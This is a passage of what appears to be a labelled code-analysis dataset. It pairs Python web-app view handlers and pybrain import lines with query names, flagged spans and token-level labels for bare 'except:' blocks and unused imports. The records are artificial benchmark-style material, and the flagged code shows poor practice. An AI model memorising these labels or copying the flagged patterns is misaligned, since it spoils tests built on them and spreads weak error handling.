call(request.user, *params, **kwparams))\n except:\n exception.handle_exception(request)\n return (False, None)", "metadata": "root.call_api_from_request", "header": "['module', '___EOS___']", "index": 136 }, { "content": "def common_design_update(request, nick):\n view = api.actor_get(api.ROOT, nick)\n if request.POST:\n try:\n validate.nonce(request, 'update_design')\n\n color = request.POST.get('bg_color')\n repeat = request.POST.get('bg_repeat', 'no-repeat')\n if not repeat:\n repeat = ''\n\n img = request.FILES.get('bg_image')\n img_url = None\n if img:\n img_url = api.background_upload(request.user,\n nick,\n img.read())\n api.background_set_actor(request.user,\n nick,\n img_url,\n color,\n repeat)\n return util.RedirectFlash(view.url() + '/settings/design',\n 'design updated')\n except:\n exception.handle_exception(request)\n\n if request.GET and 'restore' in request.GET:\n api.background_clear_actor(request.user, nick)\n return util.RedirectFlash(view.url() + '/settings/design',\n 'design updated')\n\n return None", "metadata": "root.common_design_update", "header": "['module', '___EOS___']", "index": 210 } ]
[ { "span": "except:", "start_line": 43, "start_column": 2, "end_line": 43, "end_column": 9 }, { "span": "except:", "start_line": 78, "start_column": 2, "end_line": 78, "end_column": 9 }, { "span": "except:", "start_line": 109, "start_column": 4, "end_line": 109, "end_column": 11 }, { "span": "except:", "start_line": 123, "start_column": 4, "end_line": 123, "end_column": 11 }, { "span": "except:", "start_line": 132, "start_column": 4, "end_line": 132, "end_column": 11 }, { "span": "except:", "start_line": 192, "start_column": 6, "end_line": 192, "end_column": 13 }, { "span": "except:", "start_line": 234, "start_column": 4, "end_line": 234, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "common", "\\u", "confirm_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "message_", "=_", "request_", "._", "REQUEST_", "[_", "'", "message", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "\\u", "to_", "=_", "request_", "._", "REQUEST_", "[_", "'", "redirec", "t", "\\u", "to", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "nonce_", "(_", "request_", ",_", "message_", "+_", "redirec", "t", "\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parts_", "=_", "urlparse_", "._", "urlparse_", "(_", "redirec", "t", "\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "action", "\\u", "url_", "=_", "parts_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "dict_", "=_", "cgi_", "._", "parse", "\\u", "qs_", "(_", "parts_", "[_", "4_", "]_", ",_", "keep", "\\u", "blank", "\\u", "values_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "dict_", "=_", "dict_", "(_", "[_", "(_", "k_", ",_", "v_", "[_", "0_", "]_", ")_", "for_", "k_", ",_", "v_", "in_", "query", "\\u", "dict_", "._", "iteritems_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "message_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exception_", "._", "handle", "\\u", "exception_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c_", "=_", "template_", "._", "Request", "Context_", "(_", "request_", ",_", "locals_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "loader_", "._", "get", "\\u", "template_", "(_", "'", "common", "/", "template", "s", "/", "confirm", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "http_", "._", "Http", "Response_", "(_", "t_", "._", "render_", "(_", "c_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "common", "\\u", "error_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "message_", "=_", "request_", "._", "REQUEST_", "[_", "'", "error", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "error", "\\u", "nonce_", "(_", "request_", ",_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exception_", "._", "handle", "\\u", "exception_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "\"", "An", " ", "error", " ", "has", " ", "occur", "red", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c_", "=_", "template_", "._", "Request", "Context_", "(_", "request_", ",_", "locals_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "loader_", "._", "get", "\\u", "template_", "(_", "'", "common", "/", "template", "s", "/", "error", "\\u", "gener", "ic", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "http_", "._", "Http", "Response_", "(_", "t_", "._", "render_", "(_", "c_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "common", "\\u", "photo", "\\u", "upload_", "(_", "request_", ",_", "success_", "=_", "\"/\"_", ",_", "nick_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "nick_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nick_", "=_", "request_", "._", "user_", "._", "nick_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "request_", "._", "FILES_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", "'", "re", " ", "goi", "ng", " ", "to", " ", "handle", " ", "a", " ", "file", " ", "upload", ",", " ", "wee", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "nonce_", "(_", "request_", ",_", "'", "change", "\\u", "photo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img_", "=_", "request_", "._", "FILES_", "._", "get_", "(_", "'", "img", "file", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "img_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exception_", "._", "Validat", "ion", "Error_", "(_", "'", "img", "file", " ", "must", " ", "be", " ", "set", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "validate_", "._", "avat", "ar", "\\u", "photo", "\\u", "size_", "(_", "img_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "img", "\\u", "url_", "=_", "api_", "._", "avat", "ar", "\\u", "upload_", "(_", "request_", "._", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nick_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "img_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "api_", "._", "avat", "ar", "\\u", "set\\u", "actor_", "(_", "request_", "._", "user_", ",_", "nick_", ",_", "img", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "util_", "._", "Redirect", "Fla", "sh_", "(_", "success_", ",_", "\"", "Ava", "tar", " ", "uploade", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exception_", "._", "handle", "\\u", "exception_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "avat", "ar", "'_", "in_", "request_", "._", "POST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "nonce_", "(_", "request_", ",_", "'", "change", "\\u", "photo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avat", "ar", "\\u", "path_", "=_", "request_", "._", "POST_", "._", "get_", "(_", "'", "avat", "ar", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "avat", "ar", "\\u", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exception_", "._", "Validat", "ion", "Error_", "(_", "'", "avat", "ar", " ", "must", " ", "be", " ", "set", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rv_", "=_", "api_", "._", "avat", "ar", "\\u", "set\\u", "actor_", "(_", "request_", "._", "user_", ",_", "nick_", ",_", "avat", "ar", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "rv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exception_", "._", "Validat", "ion", "Error_", "(_", "'", "fail", "ed", " ", "to", " ", "set", " ", "avat", "ar", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "util_", "._", "Redirect", "Fla", "sh_", "(_", "success_", ",_", "\"", "Ava", "tar", " ", "change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exception_", "._", "handle", "\\u", "exception_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "delete", "'_", "in_", "request_", "._", "REQUEST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "nonce_", "(_", "request_", ",_", "'", "delete", "\\u", "photo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validate_", "._", "confirm", "\\u", "danger", "ous_", "(_", "request_", ",_", "'", "Delete", " ", "your", " ", "photo", "?'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", "=_", "api_", "._", "avat", "ar", "\\u", "clear", "\\u", "actor_", "(_", "request_", "._", "user_", ",_", "nick_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "util_", "._", "Redirect", "Fla", "sh_", "(_", "success_", ",_", "\"", "Ava", "tar", " ", "delete", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exception_", "._", "handle", "\\u", "exception_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "api", "\\u", "from", "\\u", "request_", "(_", "request_", ",_", "api", "\\u", "call_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Call", " ", "an", " ", "API", " ", "function", " ", "'", "api", "\\u", "call", "'", " ", "if", " ", "it", "'", "s", " ", "presen", "t", " ", "in", " ", "the", " ", "request", " ", "parameter", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "The", " ", "first", " ", "parameter", " ", "to", " ", "the", " ", "API", " ", "call", " ", "is", " ", "alw", "ay", "s", " ", "the", " ", "logged", "-", "in", " ", "user", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "The", " ", "rest", " ", "of", " ", "the", " ", "parameter", "s", " ", "may", " ", "come", " ", "in", " ", "two", " ", "forms", ":", "\\", "10", ";", " ", " ", " ", " ", "api", "\\u", "call", "\\u", "name", "=", "first", "\\u", "param", "&", " ", "...", " ", "rest", " ", "of", " ", "params", "\\", "10", ";", " ", " ", " ", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "api", "\\u", "call", "\\u", "name", "=", "&", " ", "...", " ", "rest", " ", "of", " ", "params", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "rest", "\\u", "of", "\\u", "params", " ", "is", " ", "alw", "ay", "s", " ", "turn", "ed", " ", "int", "o", " ", "Pyth", "on", " ", "keyw", "ord", " ", "argu", "ment", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "api", "\\u", "call", "\\u", "name", " ", "has", " ", "a", " ", "value", ",", " ", "tha", "t", " ", "is", " ", "turn", "ed", " ", "int", "o", " ", "Pyth", "on", " ", "positional", "\\", "10", ";", " ", " ", " ", " ", "params", ".", "\\", "10", ";", " ", " ", "RETURN", "S", ":", "\\", "10", ";", " ", " ", " ", " ", "(", "Fal", "se", ",", " ", "Non", "e", ")", " ", "if", " ", "it", " ", "isn", "'", "t", " ", "or", " ", "the", " ", "call", " ", "throw", "s", " ", "an", " ", "exception", ",", "\\", "10", ";", " ", " ", " ", " ", "(", "Tru", "e", ",", " ", "return", " ", "value", " ", "from", " ", "call", ")", " ", "other", "wis", "e", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", "(", "term", "ie", "):", " ", "make", " ", "this", " ", "only", " ", "accept", " ", "POST", " ", "onc", "e", " ", "we", " ", "update", " ", "javascript", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "to", " ", "turn", " ", "the", " ", "link", "s", " ", "int", "o", " ", "POST", "s_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "request", "\\u", "dict_", "in_", "(_", "request_", "._", "POST_", ",_", "request_", "._", "GET_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "api", "\\u", "call_", "in_", "request", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "info_", "(_", "\">>>", " ", "CALL", ":", " ", "%", "s", "\"_", ",_", "str_", "(_", "api", "\\u", "call_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "end", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "call_", "=_", "getattr_", "(_", "api_", ",_", "api", "\\u", "call_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "nonce_", "(_", "request_", ",_", "api", "\\u", "call_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "confirm", "\\u", "msg_", "=_", "messages_", "._", "confirmation_", "(_", "api", "\\u", "call_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "logg", "ing", ".", "info", "(\"", ">>>", " ", "MESSAGE", " ", ":", " ", "%", "s", "\",", " ", "str", "(", "confirm", "\\u", "msg", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "end", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "confirm", "\\u", "msg_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "confirm", "\\u", "danger", "ous_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ",_", "messages_", "._", "confirmation_", "(_", "api", "\\u", "call_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kw", "params_", "=_", "util_", "._", "query", "\\u", "dict", "\\u", "to", "\\u", "keywords_", "(_", "request", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "\">>>", " ", "KW", "PARAM", "S", ":", " ", "%", "s", "\"_", ",_", "str_", "(_", "kw", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "end", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "''_", "in_", "kw", "params_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "kw", "params_", "[_", "''_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "first", "\\u", "param_", "=_", "kw", "params_", "._", "pop_", "(_", "api", "\\u", "call_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "first", "\\u", "param_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "(_", "first", "\\u", "param_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "validate_", "._", "nonce_", "(_", "request_", ",_", "api", "\\u", "call_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kw", "params_", "._", "pop_", "(_", "'\\u", "nonc", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kw", "params_", "._", "pop_", "(_", "'", "confirm", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kw", "params_", "._", "pop_", "(_", "'", "redirec", "t", "\\u", "to", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "\"###", "##", " ", "CALL", ":", " ", "%", "s", "\"_", ",_", "str_", "(_", "(_", "params_", ",_", "kw", "params_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "end", " ", "debug_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "True_", ",_", "call_", "(_", "request_", "._", "user_", ",_", "*_", "params_", ",_", "**_", "kw", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exception_", "._", "handle", "\\u", "exception_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "False_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "common", "\\u", "design", "\\u", "update_", "(_", "request_", ",_", "nick_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "view_", "=_", "api_", "._", "actor", "\\u", "get_", "(_", "api_", "._", "ROOT_", ",_", "nick_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "POST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validate_", "._", "nonce_", "(_", "request_", ",_", "'", "update", "\\u", "design", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "color_", "=_", "request_", "._", "POST_", "._", "get_", "(_", "'", "bg", "\\u", "color", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repeat_", "=_", "request_", "._", "POST_", "._", "get_", "(_", "'", "bg", "\\u", "repeat", "'_", ",_", "'", "no", "-", "repeat", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "repeat_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "repeat_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "img_", "=_", "request_", "._", "FILES_", "._", "get_", "(_", "'", "bg", "\\u", "image", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img", "\\u", "url_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "img_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "img", "\\u", "url_", "=_", "api_", "._", "background", "\\u", "upload_", "(_", "request_", "._", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nick_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "img_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "api_", "._", "background", "\\u", "set\\u", "actor_", "(_", "request_", "._", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nick_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "img", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "color_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repeat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "util_", "._", "Redirect", "Fla", "sh_", "(_", "view_", "._", "url_", "(_", ")_", "+_", "'/", "settings", "/", "design", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "design", " ", "update", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exception_", "._", "handle", "\\u", "exception_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "request_", "._", "GET_", "and_", "'", "restore", "'_", "in_", "request_", "._", "GET_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "api_", "._", "background", "\\u", "clear", "\\u", "actor_", "(_", "request_", "._", "user_", ",_", "nick_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "util_", "._", "Redirect", "Fla", "sh_", "(_", "view_", "._", "url_", "(_", ")_", "+_", "'/", "settings", "/", "design", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "design", " ", "update", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
pybrain/pybrain/pybrain/rl/environments/cartpole/__init__.py
[ { "content": "# try importing the external dependencies\ntry:\n from matplotlib.mlab import rk4\nexcept ImportError:\n raise ImportError('This environment needs the matplotlib library installed.')\n\nfrom pybrain.rl.environments.cartpole.cartpole import CartPoleEnvironment, CartPoleLinEnvironment\nfrom pybrain.rl.environments.cartpole.renderer import CartPoleRenderer\nfrom pybrain.rl.environments.cartpole.balancetask import BalanceTask, EasyBalanceTask, DiscreteBalanceTask, DiscreteNoHelpTask, JustBalanceTask, LinearizedBalanceTask, DiscretePOMDPTask\nfrom pybrain.rl.environments.cartpole.doublepole import DoublePoleEnvironment\nfrom pybrain.rl.environments.cartpole.nonmarkovpole import NonMarkovPoleEnvironment\nfrom pybrain.rl.environments.cartpole.nonmarkovdoublepole import NonMarkovDoublePoleEnvironment", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from matplotlib.mlab import rk4", "start_line": 2, "start_column": 4, "end_line": 2, "end_column": 35 }, { "span": "from pybrain.rl.environments.cartpole.cartpole import CartPoleEnvironment, CartPoleLinEnvironment", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 97 }, { "span": "from pybrain.rl.environments.cartpole.renderer import CartPoleRenderer", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 70 }, { "span": "from pybrain.rl.environments.cartpole.balancetask import BalanceTask, EasyBalanceTask, DiscreteBalanceTask, DiscreteNoHelpTask, JustBalanceTask, LinearizedBalanceTask, DiscretePOMDPTask", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 185 }, { "span": "from pybrain.rl.environments.cartpole.doublepole import DoublePoleEnvironment", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 77 }, { "span": "from pybrain.rl.environments.cartpole.nonmarkovpole import NonMarkovPoleEnvironment", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 83 }, { "span": "from pybrain.rl.environments.cartpole.nonmarkovdoublepole import NonMarkovDoublePoleEnvironment", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 95 } ]
[]
1
false
